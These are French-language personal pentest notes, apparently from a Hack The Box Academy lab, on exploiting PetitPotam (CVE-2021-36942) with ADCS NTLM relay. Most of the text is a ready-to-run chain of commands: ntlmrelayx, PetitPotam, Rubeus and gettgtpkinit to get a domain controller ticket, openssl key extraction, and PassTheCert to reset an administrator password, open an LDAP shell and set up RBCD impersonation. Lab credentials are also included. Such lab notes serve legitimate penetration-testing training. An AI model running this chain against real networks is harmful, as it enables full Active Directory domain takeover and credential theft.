Petit Potam (MS EFSRPC)
CVE | CVE-2021-36942 |
Correctif fixant la vulnérabilité | CU-2021-08 |
Eléments nécessaires à l'exploitation
- Un ADCS doit être présent dans le réseau
Exploitation
Installation de l'outil
git clone git@github.com:topotam/PetitPotam.git
Utilisation
Il faut connaître le nom du serveur ADCS. On peut le trouver par diverses méthodes :
- Sous Windows :
certutil –config – -ping
- https://www.thehacker.recipes/ad/movement/ad-cs
# Activation du relais NTLM
sudo ntlmrelayx.py -debug -smb2support --target http://<ADCS-SERVER-FQDN>/certsrv/certfnsh.asp --adcs --template DomainController
# Exploitation
python3 PetitPotam.py <attack host IP> <Domain Controller IP>
On capture ensuite le certificat encodé en base 64 dans les logs de ntlmrelayx pour l'utiliser ensuite pour demander un TGT
python3 gettgtpkinit.py DOMAIN.LOCAL/DomainController$ -pfx-base64 <B64 Cert> tgt.ccache
.\Rubeus.exe asktgt /user:DomainController$ /certificate:<B64 Payload> /ptt
On peut ensuite finir par une attaque DCSync :
- [[Attaque DCSync depuis Linux]]
- [[Attaque DCSync depuis Windows]]
Infos utiles
Le certificat une fois collecté en base 64 depuis ntlmrelayx peut être lu de la façon suivante :
cat cert.b64 | base64 -d > cert.pfx
sha256sum cert.pfx
(htb) > 8806736f71db33587e684a69ccc7b683df38d31bb7d335689771ff71a34bff9f cert.pfx
(kali)> 8806736f71db33587e684a69ccc7b683df38d31bb7d335689771ff71a34bff9f cert.pfx
openssl x509 -in cert.pfx -text -noout
# export du certificat
openssl pkcs12 -in cert.pfx -clcerts -nokeys -out domaincontroller.crt
# export de la clé privée (pas trouvé comment supprimer la passphrase directement)
openssl pkcs12 -in cert.pfx -nocerts -out domaincontroller.key
# suppression de la passphrase
openssl rsa -in domaincontroller.key -out domaincontroller.key # saisie de la passphrase
# informations sur le certificat
openssl x509 -in domaincontroller.crt -text
# informations sur la clé privée
openssl rsa -in domaincontroller.key -text
Utilisation de PassTheCert
# Test de connection
python passthecert.py -domain $AD_DOMAIN -dc-host $TARGET_IP -crt DC.crt -key DC.key
[*] You are logged in as: DOMAIN\DC01$
# Exploitation 1 : reset du mot de passe d'un administrateur
-target administrator -new-pass 'P@ssw0rd!'
-------------
proxychains python passthecert.py -domain 'inlanefreight.local' -dc-host 172.16.5.5 -crt /home/kali/projets/challenges/htb-academy/cpts/pivotting/active-directory/initial-enumeration/adcert/domaincontroller.crt -key /home/kali/projets/challenges/htb-academy/cpts/pivotting/active-directory/initial-enumeration/adcert/domaincontroller.key -elevate -target forend -debug -action ldap-shell
add_computer rebrec$ rebrec nospns
change_password rebrec$ rebrec
set_rbcd ACADEMY-EA-DC01$ rebrec$ # le bon je pense
> rebrec$ can now impersonate users on ACADEMY-EA-DC01$ via S4U2Proxy
# CHECK
proxychains rbcd.py -delegate-to 'ACADEMY-EA-DC01$' -dc-ip 172.16.5.5 -action 'read' 'INLANEFREIGHT/forend:Klmcargo2'
# recherche du SPN du DC
proxychains ldapsearch -LLL -x -H ldap://172.16.5.5 -D "forend@inlanefreight.local" -W -b "dc=inlanefreight,dc=local" "servicePrincipalName=*" sAMAccountName servicePrincipalName > spns
# récupération du ST
proxychains getST.py -spn 'cifs/ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT' -impersonate 'forend' -dc-ip 172.16.5.5 'INLANEFREIGHT/rebrec$:rebrec'